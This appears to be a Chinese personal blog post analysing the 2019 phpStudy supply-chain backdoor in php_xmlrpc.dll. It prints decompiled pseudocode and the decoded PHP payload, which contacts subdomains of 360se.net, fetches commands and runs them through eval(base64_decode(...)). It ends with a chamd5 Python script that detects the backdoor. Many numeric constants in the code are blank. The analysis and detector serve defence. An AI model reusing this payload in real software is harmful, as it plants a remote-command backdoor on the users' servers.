2019关于phpstudy软件后门简单分析

2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件   说是官网下的就没有后门

20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三百两？

很开心的说 我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件)   用chamd5的检测py

哎~~学个php都被搞哦  跟着大佬团队文章也动手找找后门把

chamd5团队老哥发现是php_xmlrpc.dll中的问题 直接站人家肩膀把  看看这个dll

php_xmlrpc.dll @eval函数

.data:1000DE98

gzuncompress函数解密执行payload 以前webshell大马免杀经常用的函数- -

.data:1000DE98 函数sub_10003490

145-177行:

    while (  )
    {
      if ( *(_DWORD *)v13 ==  )
      {
        v10[v12] = ;
        v43[v12 + ] = *v11;
        v12 += ;
        v13 += ;
      }
      else
      {
        v10[v12++] = *v11;
        v13 += ;
      }
      v11 += ;
      if ( (signed int)v11 >= (signed int)asc_1000C66C )
        break;
      v10 = v43;
    }
    spprintf(&v43, , a_evalSS, aGzuncompress, v43);
    v24 = *(_DWORD *)(*a3 +  * executor_globals_id - );
    v25 = *(_DWORD *)(v24 + );
    *(_DWORD *)(v24 + ) = &v33;
    v40 = v25;
    v26 = setjmp3(&v33, );
    v27 = v40;
    if ( v26 )
    {
      v28 = a3;
      *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v40;
    }
    else
    {

这里@eval    gzuncompress('%s')进行拼接，调用gzuncompress方法解密执行payload，以前webshell大马免杀经常用的函数，上面也看到了函数地址

而gzuncompress解密前的代码是这里的v43

下面是zend_eval_string处执行v43处gzuncompress编码的代码

    }
    else
    {
      v28 = a3;
      zend_eval_string(v43, , &byte_10011B34, a3);
    }
    *(_DWORD *)(*(_DWORD *)(*v28 +  * executor_globals_id - ) + ) = v27;
    if ( dword_1000C010 <  )
      dword_1000C010 += ;
    ftime(&dword_10011D50);
  }

v43处执行的代码通过解码:

@ini_set("display_errors","");
error_reporting();
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, );
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";
 
    fwrite($fp, $out);
    fclose($fp);
}

拼接后v43后解密的代码 明显的fsockopen通信 反弹后门到360se.net的20123端口

@ini_set("display_errors","");
error_reporting();
function tcpGet($sendMsg = '', $ip = '360se.net', $port = ''){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, );
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, );
        $result .= fread($handle, );
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle);
  return $result;
}
 
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("","","","","");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==){
        if (strpos($info[],"/*Onemore*/") !== false){
            $info[] = str_replace("/*Onemore*/","",$info[]);
            $n=true;
        }
        @eval(base64_decode($info[]));
    }
}while($n);

检查脚本 来自chamd5团队脚本，在phpstudy目录下执行即可递归检查

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'
 
import os
import string
import re
 
def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())
 
def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line
 
def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass
 
def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
        for name in files:
            pcheck(os.path.join(path, name))
        for name in dirs:
            pcheck(os.path.join(path, name))
    pass
 
if __name__ == '__main__':
    foo()

自己斟酌哦 太菜了呢学个php都给人家当鸡